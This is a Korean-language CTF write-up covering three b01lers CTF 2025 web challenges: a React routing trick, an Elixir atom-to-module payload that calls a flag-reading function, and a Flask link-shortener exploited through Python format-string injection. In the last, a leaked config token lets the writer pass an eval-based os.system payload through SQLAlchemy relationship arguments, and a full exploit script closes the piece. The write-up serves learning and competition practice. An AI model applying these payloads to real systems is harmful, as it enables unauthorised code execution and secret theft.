Introduction
이번 b01lers CTF 2025는 이틀간(@4/19/2025 → 4/21/2025) 진행된 대회로 crypto, jail, misc, pwn, rev, web 총 6개 카테고리에서 문제가 출제되었습니다.
저는 이중에서 web 카테고리의 문제들을 풀었는데, web에서 총 9개 문제가 출제 되었고 그 중 2개의 문제밖에 풀지 못했습니다.
솔버가 많은걸 보니.. 쉬운 문제만 풀었나 봅니다 
비록 문제는 많이 풀지 못해 아쉬웠지만, Write-Up을 작성해 보면서 배운 점들을 정리하고 다른 분들의 풀이도 참고하면서 앞으로의 CTF 대회에서는 더 좋은 결과를 얻을 수 있도록 노력해야겠습니다.
이번 Write-Up은 제가 풀었던 2개의 문제 ‘trouble at the spa’, ‘Atom Bomb’와 계속 매달려 있었던 문제 ‘link-shortener’에 대한 내용입니다.
Challenges
trouble at the spa
I had this million-dollar app idea the other day, but I can't get my routing to work! I'm only using state-of-the-art tools and frameworks, so that can't be the problem... right? Can you navigate me to the endpoint of my dreams?
Plain Text
복사
Description
해당 문제는 React + TypeScript로 구성된 프로젝트로, 문제 설명을 보면 라우팅이 안된다고 힌트를 알려주고 있습니다.
but I can’t get my routing to work!
(하지만 라우팅이 작동하지 않네요)
올라온 문제 파일을 먼저 살펴 보겠습니다. 먼저, 웹 서비스 시작점인 main.tsx 를 살펴보면, URL /falg 경로로 Flag.tsx 의 Flag 컴포넌트를 참조하고 있습니다.
import { StrictMode } from 'react';
import { createRoot } from 'react-dom/client';
import { BrowserRouter, Routes, Route } from 'react-router';
// Pages
import App from './App.tsx';
import Flag from './Flag.tsx';
import './index.css';
createRoot(document.getElementById('root')!).render(
<StrictMode>
<BrowserRouter>
<Routes>
<Route index element={<App />} />
<Route path="/flag" element={<Flag />} />
</Routes>
</BrowserRouter>
</StrictMode>
);
TypeScript
복사
그 다음 Flag 컴포넌트가 정의된 Flag.txs 는 다음과 같이 정의되어 있습니다.
export default function Flag() {
return (
<section className="text-center pt-24">
<div className="flex items-center text-5xl font-bold justify-center">
{'bctf{test_flag}'}
</div>
</section>
)
}
TypeScript
복사
이에 해당 문제의 URL 주소 https://ky28060.github.io/ 에서 URL /flag 를 요청했는데, 해당 페이지는 다음과 같이 404 Not Found 에러가 표시되고 있습니다.
이후 페이지 주소가 github.io 로 github-pages 를 사용하고 있다는 점을 확인하고, 저장소를 확인했으나 플래그와 관련된 내용은 발견할 수 없었는데,
React는 SPA(Single Page Application)로, 서버에서 리소스를 전달받아 렌더링하는 것이 아닌 웹 브라우저가 JavaScript 코드를 실행하여 렌더링하는 방식으로 동작합니다.
따라서, /flag 경로로 접근을 시도할 때 서버(Git 저장소)에서는 해당 리소스를 찾을 수 없어 404 에러가 발생한 것으로 판단됩니다.
Solution
아무튼 서버로 /flag 경로를 요청하지 않고 React 앱 즉, 클라이언트 측에서 /flag 경로에 대한 라우팅 처리를 수행해야하는데, 이는 다음의 코드를 이용하면 해결이 가능합니다.
•
window.history.pushState({}, '', '/flag');
•
window.dispatchEvent(new PopStateEvent('popstate'));
이 두 코드는 React Router를 직접 조작하여 URL을 변경하고 라우팅 이벤트를 발생시키는 역할을 합니다. 첫 번째 코드는 브라우저의 URL을 /flag 로 변경하고, 두 번째 코드는 URL 변경에 따른 라우팅 이벤트를 발생시켜 Flag 컴포넌트가 렌더링되도록 합니다.
따라서, 개발자 도구의 콘솔을 이용하여 아래 코드를 입력할 경우 다음과 같이 플래그 정보를 획득할 수 있습니다.
window.history.pushState({}, '', '/flag');
window.dispatchEvent(new PopStateEvent('popstate'));
JavaScript
복사
Atom Bomb
This new atom bomb early warning system is quite strange...
Plain Text
복사
Description
해당 문제에서 제공하는 링크를 접속하면 다음과 같이 Bomb 정보 및 Bomb에 대한 위험성 평가를 확인할 수 있는 웹 페이지가 나옵니다.
위 페이지 상단의 Check for bomb alert 버튼을 클릭하면 Bomb 정보가 변경되고 변경된 Bomb에 대한 위험성 평가 정보를 확인할 수 있습니다.
이때, 상단의 Check for bomb alert 버튼을 클릭하면 총 2개의 HTTP 패킷이 발생하는데 해당 패킷의 정보는 다음과 같습니다.
즉, 처음에 /atom_bomb 요청을 통해 랜덤한 bomb를 가져온 뒤, 해당 bomb를 /bomb_impacts 요청을 통해 위험성 평가 정보에 대한 메시지를 응답받게됩니다.
이어서 해당 문제에서 제공하는 문제 파일을 살펴보겠습니다. 문제의 압축 파일을 풀어보면 .ex, .exs 확장자를 가지는 파일들이 보입니다. 이는 Elixir 프로그래밍 언어로 작성된 소스 코드로, .ex 는 컴파일 대상이 되는 모듈 파일을 의미하고 .exs 는 별도의 컴파일 단계 없이 Elixir 인터프리터가 바로 실행할 수 있는 스크립트 파일을 의미합니다.
위 파일들을 들여다 보면 router.ex 에서 URL 요청에 대한 라우팅 처리를 하는 것을 알 수 있고, 요청 받은 처리를 page_controller.ex 에서 이루어지는 것을 확인할 수 있었습니다.
좌: router.ex, 우: page_controller.ex
그리고 page_controller.ex 에서 각 URL 엔드포인트에 대한 처리를 위해 get_bomb, atomizer, calculate_bomb_danger_level 함수들을 호출하고 있는데, 이는 atom_bomb.ex 에 정의되어 있는 것을 확인할 수 있었습니다.
좌: page_controller.ex, 우: atom_bomb.ex
또한, atom_bomb.ex 에는 bomb() 함수가 존재하는데, 해당 함수 구문에는 플래그가 담겨 있는 flag.txt 파일을 읽어들여 반환하는 것을 확인할 수 있었습니다.
이에 bomb() 함수를 호출하는 곳을 살펴보려 했으나 해당 함수가 호출되는 위치는 발견되지 않았습니다.
그러다 문제 명 Atom bomb 에서 힌트를 확인할 수 있었는데, Elixir에서 불변의 값을 나타내는 데이터 타입을 Atom 이라고 합니다. 이 Atom 에 대해 좀 더 알아보겠습니다.
•
이름 자체가 값이 되는 상수로, 컴파일 시점에 결정되는 고유한 식별자
예를 들어, :hello 는 hello 라는 이름의 Atom 을 생성하고, :"hello world" 는 공백이 포함된 "hello world" 라는 이름의 Atom을 생성합니다. 또한, 다음과 같이 비교 구문을 통해 Atom 은 고유한 식별자라는 것을 알 수 있습니다.
# Atom끼리 비교
:ok == :ok
# true
# Atom과 String 비교
:ok == "ok"
# false
Elixir
복사
•
Atom은 런타임에 동적으로 생성될 수도 있지만, 이는 메모리 누수의 위험이 있어 주의
한번 올라간 Atom 은 VM 종료 전까지 계속 존재합니다. 이와 관련하여 문자열을 Atom 으로 변환하는 함수로 String.to_atom/1, String.to_existing_atom/1 가 있는데 다음의 코드를 통해 설명하겠습니다.
defmodule TestModule do
def test do
"test"
end
end
String.to_atom("test") # 정상
# :test
String.to_atom("hello") # 정상
# :hello
String.to_existing_atom("test")
# :test
String.to_existing_atom("hello") # 에러, hello라는 Atom이 존재하지 않으므로
Elixir
복사
즉, String.to_atom/1 함수를 호출하면 새 Atom 이 생성되어 메모리가 증가될 수 있는 위험이 있지만, String.to_existing_atom/1 을 호출하면 존재하는 Atom 만 변환하므로 메모리가 증가하는 것을 방지할 수 있습니다.
•
일반적으로 Atom 은 모듈 이름, 함수 이름, 상태 값 등을 나타내는데 사용
예를 들어, 다음과 같이 Atom을 사용하여 모듈의 함수를 호출할 수 있습니다.
defmodule TestModule do
def test do
"test"
end
end
mod = :TestModule
fun = :test
apply(mod, fun, []) # 이렇게도 호출할 수 있다.
# 결과: "test"
Elixir
복사
또한, Elixir에서 데이터 타입이 Map 일 때, 일반적으로 Key의 데이터 타입에 따라 접근 방식이 달라집니다.
•
a.b: Dot(.)로 접근
이때는 Key b 가 Atom 일 때만 가능하다.
a= %{b: "It is Atom", num: 30}
IO.inspect(a.b) # "It is Atom"
IO.inspect(a.num) # 123
Elixir
복사
•
a["b"]: String 키로 접근
Key가 String 인 경우에만 정상 동작하고, 만일 b 가 Atom 인 경우에는 nil 을 반환한다.
a = %{"b" => "It is String", "num" => 123, :c => "This is Atom Key"}
IO.inspect(a["b"]) # "It is String"
IO.inspect(a["num"]) # 123
IO.inspect(a["c"]) # nil
Elixir
복사
그 다음 이번 문제의 핵심 포인트로, Map에서 Atom 키를 통해 가져온 값이 모듈인 경우 Dot(.)를 통해 함수 이름을 명시하는 것만으로 함수 호출이 자동으로 발생합니다. 즉, 함수 호출 괄호 () 없이 호출이 발생합니다.
이를 코드로 살펴보면 다음과 같습니다.
defmodule TestModule do
def test do
"Test!"
end
end
param = %{
a: TestModule
}
IO.puts(param.a.test)
# 결과: "Test!"
Elixir
복사
즉, 여기서 param.a.test 는 TestModule.test() 호출과 같습니다.
Solution
방금까지 살펴본 내용을 통해 다시 문제의 소스코드를 다시 살펴보겠습니다. 우선 URL /bomb_impacts 요청이 발생할 때, 요청 데이터는 다음과 같습니다.
POST /bomb_impacts HTTP/1.1
Host: atom-bomb.atreides.b01lersc.tf
Content-Type: application/json
{
"impact": {
"bomb": {
"location": "new york",
"power": 1187,
"altitude": ":space",
"explosion_type": 1
}
}
}
JSON
복사
위 요청 URL /bomb_impacts 는 조금 전 코드에서 본 것 처럼 page_controller.ex 파일의 get_bomb_impacts 함수를 호출하고 있습니다.
# router.ex 파일 내 일부
scope "/", AtomBomb do
pipe_through :api
get "/atom_bomb", PageController, :get_atom_bomb
post "/bomb_impacts", PageController, :get_bomb_impacts # ← 여기로 접근
end
# page_controller.ex 파일 내 일부
def get_bomb_impacts(conn, params) do
params = AtomBomb.atomizer(params)
danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)
render(conn, :danger_level, danger_message: danger_message)
end
Elixir
복사
이때, 요청 패킷의 페이로드는 get_bomb_impacts 함수의 params 인자로 전달되고, 곧이어 AtomBomb.atomize 함수를 인자로 전달하여 호출하고 있습니다. 해당 함수는 다음과 같이 구현되어 있습니다.
# atom_bomb.ex 파일 내 일부
def string_to_atom(string) do
try do
{:ok, String.to_existing_atom(string)}
rescue
# no atom for this string exists
ArgumentError -> :error
end
end
@doc """
Converts params to atoms
"""
def atomizer(params) when is_map(params) do
IO.puts("is_map")
Enum.map(params, fn {key, val} -> case string_to_atom(key) do
{:ok, key} -> {key, atomizer(val)}
:error -> nil
end
end)
|> Enum.filter(fn val -> val != nil end)
|> Map.new
end
def atomizer(params) when is_list(params) do
IO.puts("is_list")
Enum.map(params, &atomizer/1)
end
def atomizer(params) when is_binary(params) do
IO.puts("is_binary")
if String.at(params, 0) == ":" do
# convert string to atom if it starts with :
# remove leading :
atom_string = String.slice(params, 1..-1//1)
case string_to_atom(atom_string) do
{:ok, val} -> val
:error -> nil
end
else
params
end
end
# any other value is left as is
def atomizer(params) do
IO.puts("normal")
params
end
Elixir
복사
위 코드를 살펴보면 요청 페이로드의 값을 모두 순회하며 데이터 타입을 Atom 으로 변환하는 것을 확인할 수 있습니다. 이를 시각화 하면 조금 전 요청 페이로드는 다음의 순서로 호출됩니다.
{
"impact": {
"bomb": {
"location": "new york",
"power": 1187,
"altitude": ":space",
"explosion_type": 1
}
}
}
JSON
복사
def atomizer(params) when is_map(params) do ... end # {"impact": {"bomb":{...}}}
# ↓
def atomizer(params) when is_map(params) do ... end # "impact": {"bomb":{...}}
# ↓
def atomizer(params) when is_map(params) do ... end # "bomb":{...}
# ↓
def atomizer(params) when is_binary(params) do ... end # "location": "new york",
# ↓
def atomizer(params) do ... end # "power": 1187
# ↓
def atomizer(params) when is_binary(params) do ... end # "altitude": ":space",
# ↓
def atomizer(params) do ... end # "explosion_type": 1
Elixir
복사
즉, 요청 페이로드의 Key를 모두 순회하며, 위 atomizer 함수 중 전달된 인자 params 가 map, binary 타입인 경우 다음과 같이 string_to_atom 함수를 호출하는 것을 확인할 수 있습니다.
따라서, 전달된 요청 페이로드는 atomizer 함수 호출 이후 전부 Atom 타입으로 변경된 Map 타입의 데이터를 반환하는 것을 알 수 있습니다.
이후에는 AtomBomb.calculate_bomb_danger_level 함수가 호출되는데, 인자 값으로 params.impact.bomb 가 전달됩니다.
이때, params.impact 가 모듈을 전달할 경우 params.impact.bomb 는 모듈의 bomb/0 함수를 호출하려고 시도하게 됩니다.
즉, Flag 파일을 읽어들이는 함수 bomb 는 다음과 같이 AtomBomb 모듈 이므로, params.impact 에 :Elixir.AtomBomb 를 전달할 경우 AtomBomb 모듈의 bomb 함수가 호출됩니다.
따라서, 조금 전 URL /bomb_impacts 요청 페이로드에 아래의 페이로드를 전달하게 되면 플래그를 획득할 수 있습니다.
{
"impact": ":Elixir.AtomBomb"
}
JSON
복사
link-shortener
A fast and reliable link shortener service, with a new feature to add private links!
Plain Text
복사
Description
해당 문제에서 제공하는 링크에 접속하면 URL 링크를 단축시킬 수 있는 웹 서비스를 확인할 수 있습니다.
위 메인 페이지(/)에서 ‘Create Now!’ 버튼을 클릭하면 URL /creator 로 리다이렉션이 되고 이후 입력 폼에 단축 시킬 URL을 입력한 뒤 ‘Shorten’ 버튼을 클릭하면 입력한 URL에 대한 단축 URL을 확인할 수 있습니다.
또한, 위 웹 서비스는 로그인 없이도 URL 단축 기능을 사용할 수 있으며, 로그인 기능을 통해 회원가입을 한 사용자가 자신이 생성한 private URL 목록을 확인할 수도 있습니다.
이제 문제에서 제공하는 소스코드를 통해 웹 서비스의 엔드포인트 처리 로직을 살펴보겠습니다.
해당 웹 서비스는 Flask 프레임워크로 개발되었으며, SQLAlchemy를 사용하여 DB를 연동하고 있습니다.
먼저, 엔드포인트를 살펴 보면 단축된 URL 정보를 조회하는 /all 엔드포인트를 확인할 수 있으며,
# main.py
@app.route("/all", methods=['GET'])
def all():
with Session() as session:
links = session.query(Links).all()
for i in range(len(links)):
links[i] = str(links[i])
return statusify(True, links)
Python
복사
위 코드에서 DB 질의 대상을 지정할 때 클래스Links 가 전달되는데, 이는 SQLAlchemy에서 모델(=테이블)을 정의하는 방식으로 해당 클래스는 다음과 같이 정의되어 있습니다.
# models.py
class Links(Base):
__tablename__ = "links"
id: Mapped[int] = mapped_column(primary_key=True)
url: Mapped[str]
path: Mapped[str]
def __repr__(self) -> str:
return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
Python
복사
따라서, 엔드포인트 /all을 요청하면 모델 Links의 모든 데이터를 조회하고, 각 데이터를 순회 하면서 str(links[i])를 호출해 데이터베이스의 레코드들을 문자열로 변환하여 최종적으로 아래와 같이 보여집니다.
이때, 각 레코드를 문자열로 변환하기 위해 str(links[i]) 가 호출 되었는데, 이는 Links 모델에 __repr__ 함수가 정의되어 있으므로 해당 함수를 호출하게 됩니다.
def __repr__(self) -> str:
return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
Python
복사
이 __repr__ 함수의 반환 구문을 살펴보면 f-string(f"...") 과 format(self=self) 메서드를 동시에 사용하고 있다는 것을 확인할 수 있습니다. 이러한 방식은 f-string 을 통해 이미 포매팅된 문자열 내에 {self.xxx} 와 같은 포맷 필드가 존재할 경우 format(self=self) 에 의해 Format String Injection 취약점이 발생하게 됩니다.
이와 관련된 내용은 다음의 예제 코드를 통해서도 확인하실 수 있습니다.
class User:
def __init__(self, name):
self.name = name
def __repr__(self):
return f"Hello, {self.name}".format(self=self)
normal = User("DoTTak")
print(str(normal))
# Hello, DoTTak
vul = User("{self.__init__.__globals__}")
print(str(vul))
# Hello, {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x107ef9000>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/Users/dottak/Desktop/b01lers CTF 2025/links/test.py', '__cached__': None, 'User': <class '__main__.User'>, 'normal': Hello, DoTTak, 'vul': Hello, {...}}
Python
복사
따라서, 웹 서비스에서 URL을 단축할 때 URL 입력값에 {self.__init__.__globals__} 와 같은 포맷 필드를 포함하고 있다면, 해당 값이 Links 모델의 url 컬럼에 저장된 후 /all 엔드포인트를 통해 조회될 때 __repr__ 함수가 호출되면서 Format String Injection 취약점이 발생하게 됩니다.
예를 들어, 아래의 URL https://x.com/{self.__init__.__globals__} 를 단축 URL로 생성합니다.
이후 URL /all 을 요청하면 self.__init__.globals__ 에 담긴 정보가 노출되는 것을 확인할 수 있습니다.
Solution
해당 문제의 플래그 위치는 Dockerfile 에서 확인할 수 있었습니다.
즉, 플래그 정보가 담긴 파일 flag.txt 가 루트 경로(/)로 랜덤한 이름을 가지는 텍스트 파일(.txt)로 저장되어 있습니다. 이에 RCE를 일으키기 위해 앞서 확인한 Format String Injection 취약점을 이용하여 __builtins__ 등의 내장 객체에서 eval, exec 등의 함수를 불러오는 방법을 이용했습니다.
이 중 eval 함수를 사용하기 위해 아래의 URL을 단축 URL로 생성해서 해당 함수의 존재 여부를 확인했습니다.
https://x.com/{self.__init__.__globals__[__builtins__][eval]}
Plain Text
복사
다만, 함수 호출을 위해서는 소괄호(())를 이용해야 하는데 format 함수를 사용할 때는 중괄호({}) 안에서 딕셔너리 접근 시 ] 뒤에는 Dot(.) 또는 ] 만 올 수 있기 때문에 ValueError: Only '.' or '[' may follow ']' in format field specifier 에러가 발생하여 500 Error가 발생하게 됩니다.
결과적으로 Format String Injection 취약점만으로 RCE를 발생시키는 것은 불가능 하였고 다른 위치를 확인해봐야합니다.
해당 문제의 엔드포인트 중 /configure 의 처리 로직을 보면 랜덤한 값이 저장된 app.config["TOKEN"] 와 요청 페이로드 token 의 값이 일치할 경우 앱의 설정(global 변수 base_url, ukwargs, pkwargs)을 변경할 수 있습니다.
# main.py
app = Flask(__name__)
app.config["TOKEN"] = token_hex(64)
# ... 생략 ...
@app.route("/configure", methods=['POST'])
def configure():
global base_url
global ukwargs
global pkwargs
data = request.get_json()
if data and data.get("token") == app.config["TOKEN"]:
base_url = data.get("base_url")
app.config["TOKEN"] = data.get("new_token")
ukwargs = data.get("ukwargs")
pkwargs = data.get("pkwargs")
else:
return statusify(False, "Invalid Params")
return statusify(True, "Success")
Python
복사
이때, 랜덤한 값이 저장된 app.config["TOKEN"] 을 획득하기 위해서 앞서 발견한 Format String Injection 취약점을 이용해 볼 수 있습니다.
Python에서는 sys.modules 라는 딕셔너리를 통해 현재 로딩된 모든 모듈이 저장되는데, 이 app.config["TOKEN"] 은 __main__ 모듈에서 초기화되어 있으므로 Format String Injection 취약점을 통해 해당 토큰 값에 접근할 수 있습니다.
이를 위해 우선 sys 모듈을 self 객체로부터 찾아야 하는데 아래의 스크립트를 디버깅으로 실행하여 확인할 수 있었습니다.
import types
import builtins
def find_sys_from_self(obj, max_depth=5):
visited = set()
results = []
def explore(current_obj, path, depth):
if depth > max_depth or id(current_obj) in visited:
return
visited.add(id(current_obj))
try:
keys = dir(current_obj)
except Exception:
return
for key in keys:
if key.startswith("__") and key.endswith("__"):
continue # skip dunder
try:
value = getattr(current_obj, key)
new_path = f"{path}.{key}"
# 직접 sys 모듈인 경우
if isinstance(value, types.ModuleType) and value.__name__ == "sys":
results.append(new_path)
# __init__.__globals__["sys"] 경로 탐색
if hasattr(value, "__init__") and hasattr(value.__init__, "__globals__"):
g = value.__init__.__globals__
if "sys" in g:
results.append(f"{new_path}.__init__.__globals__['sys']")
explore(g, f"{new_path}.__init__.__globals__", depth + 1)
# 재귀적으로 계속 탐색
explore(value, new_path, depth + 1)
except Exception:
continue
# 시작점: self
explore(obj, "self", 0)
return results
Python
복사
위 코드는 self 객체의 하위에 있는 값들을 조회하며 sys 모듈이 있는지 확인하고 그 결과를 반환하는 스크립트입니다.
다음과 같이 __repr__ 함수의 반환문에 BP를 걸고 URL /all 을 요청하면 해당 위치에 브레이크가 걸리게 됩니다. 그럼 좌측 변수 탭에 브레이크가 걸린 현재의 컨텍스트에서 self 객체를 확인할 수 있습니다.
이후 디버그 콘솔에 위 스크립트를 실행한 뒤 아래의 코드를 입력하면 self 객체로부터 sys 모듈에 접근할 수 있는 경로를 확인할 수 있었습니다.
result = find_sys_from_self(self)
print(result[0])
# self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys]
Python
복사
이를 토대로 아래의 URL을 단축 URL로 생성한 뒤 URL /all 을 요청하면 sys 모듈이 조회되는 것을 확인할 수 있습니다.
https://x.com/{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys]}
Python
복사
이후 main.py 즉, __main__ 모듈에 있는 app.config["TOKEN"] 값을 확인하기 위해 아래의 URL을 단축 URL로 생성합니다.
https://x.com/{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys].modules[__main__].app.config}
Plain Text
복사
그 다음 URL /all 을 요청하면 다음과 같이 app.config["TOKEN"] 의 값이 출력된 것을 확인할 수 있습니다.
이를 통해 엔드포인트 /configure 의 요청 페이로드를 아래의 JSON 데이터로 전송하면 앱의 설정을 변경할 수 있게 됩니다.
{
"token": "04f54b5f21e1b2a265b8c13e6e4b038e5adee6fc1a5fe03145b87c92adf1f4458cefd15d9d7a024e59d9fb9fdb6241487de66412a223a5f02be334af5fb7250e",
"base_url": "",
"ukwargs": {},
"pkwargs": {}
}
Python
복사
이후 위 요청 페이로드의 값들은 다음과 같이 global 변수(base_url, ukwargs, pkwargs)의 값으로 변경되는 것을 확인할 수 있습니다.
이때, ukwargs 와 pkwargs 는 함수 create_tables 구현 코드에서 SQLAlchemy의 relationship 함수의 인자로 참조되는 것을 알 수 있습니다.
즉, relationship 함수의 인자 값(**ukwargs, **pkwargs)은 이전에 획득한 app.config["TOKEN"] 을 활용해 /configure 요청으로 값을 직접 조작할 수 있습니다.
또한, relationship 함수는 ’Late-Evaluation of Relationship Arguments’ 기능을 지원하는데, 이는 아직 정의되지 않은 테이블(클래스)을 문자열로 지정해 관계를 선언할 수 있게 해주는 기능입니다. 그리고 매핑 과정에서 해당 문자열을 eval 함수를 이용해 문자열을 실제 클래스 객체로 동적으로 해석하고 매핑합니다.
Late-Evaluation of Relationship Arguments
https://docs.sqlalchemy.org/en/20/orm/basic_relationships.html#late-evaluation-of-relationship-arguments
다시 말해, /configure 요청 시 ukwargs 나 pkwargs 값을 조작할 수 있으니 eval 함수로 실행될 Python 코드 표현식 문자열을 작성하면 RCE를 수행할 수 있습니다. 여기서 eval 함수로 전달되는 relationship 함수의 옵션은 다음과 같습니다.
참고로 주의할 점은 함수 create_tables는 실행 시 필요한 테이블이 존재하지 않을 경우에만 relationship 함수를 호출하여 동적으로 테이블을 생성하는 역할을 합니다.
# main.py
def create_tables():
inspector = inspect(engine)
if 'users' not in inspector.get_table_names(): # 테이블 존재 확인
Users.private_links = relationship("PrivateLinks", **ukwargs)
Users.__table__.create(engine)
if 'privatelinks' not in inspector.get_table_names(): # 테이블 존재 확인
PrivateLinks.users = relationship("Users", **pkwargs)
PrivateLinks.__table__.create(engine)
Python
복사
이 create_tables 함수는 아래와 같이 URL /, /register 를 요청할 때 마다 호출되므로 기존에 테이블이 생성된 상태에서는 ukwargs 또는 pkwargs 에 RCE 페이로드를 집어 넣어도 동작되지 않습니다.
따라서 웹 서비스가 초기화 된 상태(= 데이터베이스 초기화)에서 RCE를 수행해야 하며 최종적으로 플래그 획득은 아래의 과정을 수행해야 합니다.
1.
웹 서비스 초기화(= 데이터베이스 초기화)
2.
app.config["TOKEN"](이하, 토큰)을 조회하기 위해 아래의 Format String Injection 취약점이 발생하는 URL을 단축 URL로 생성
https://x.com/{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys].modules[__main__].app.config}
Plain Text
복사
3.
URL /all 요청을 통해 토큰 값 획득
4.
획득한 토큰 값과 ukwargs, pkwargs 값에 RCE 페이로드를 삽입한 아래의 요청 페이로드를 URL /configure 에 요청(참고로, pkwargs 는 로그인한 사용자의 링크 목록과 관련된 값 이므로 ukwargs 만을 사용했습니다.)
{
"token": "획득한 토큰 값",
"base_url": "",
"ukwargs": {
"order_by": "__import__('os').system('cp /*.txt templates/sponsors.html')"
},
"pkwargs": {}
}
JSON
복사
위 코드의 실행 명령어 cp /*.txt templates/sponsors.html 는 통해 루트 경로(/)에 있는 플래그가 담긴 텍스트 파일(.txt)을 엔드포인트 /sponsors 의 템플릿 파일인 templates/sponsors.html 로 복사하는 명령어 입니다. 즉, RCE가 성공적으로 실행되면 엔드포인트 /sponsors 에 접속하여 플래그 값을 확인할 수 있습니다.
5.
이후 RCE 페이로드가 담긴 ukwargs 가 relationship 함수의 인자로 전달되도록 URL / 또는 /register 를 요청하여 create_tables 함수를 호출
결과적으로 위 과정을 수행하는 아래의 스크립트를 실행하면 플래그를 획득할 수 있습니다.
import re
import requests
VUL_FORMAT_STRING = "{self._sa_class_manager._state_constructor._attached.__init__.__globals__[sys].modules[__main__].app.config}"
RCE_EVAL_PAYLOAD = "__import__('os').system('cp /*.txt templates/sponsors.html')"
URL = "https://link-shortener-f439b7ad7c906b78.instancer.b01lersc.tf"
print(f'[*] Create a short link...')
requests.get(f'{URL}/create?url=https://x.com/{VUL_FORMAT_STRING}')
match = re.search(r"'TOKEN': '(\w+)'", requests.get(f'{URL}/all').text)
if match:
token = match.group(1)
print(f'[*] TOKEN: {token}')
print(f'[*] Request /configure with RCE Payload')
requests.post(f'{URL}/configure', json={
"token": token,
"base_url": "",
"ukwargs":
{
"order_by": RCE_EVAL_PAYLOAD
}
})
print(f'[*] execute for create_tables()')
requests.get(f'{URL}/register')
print(f'[*] get flag')
flag = requests.get(f'{URL}/sponsors').text
print(f'[*] Flag: {flag}')
else:
print('[*] TOKEN: not found...')
Python
복사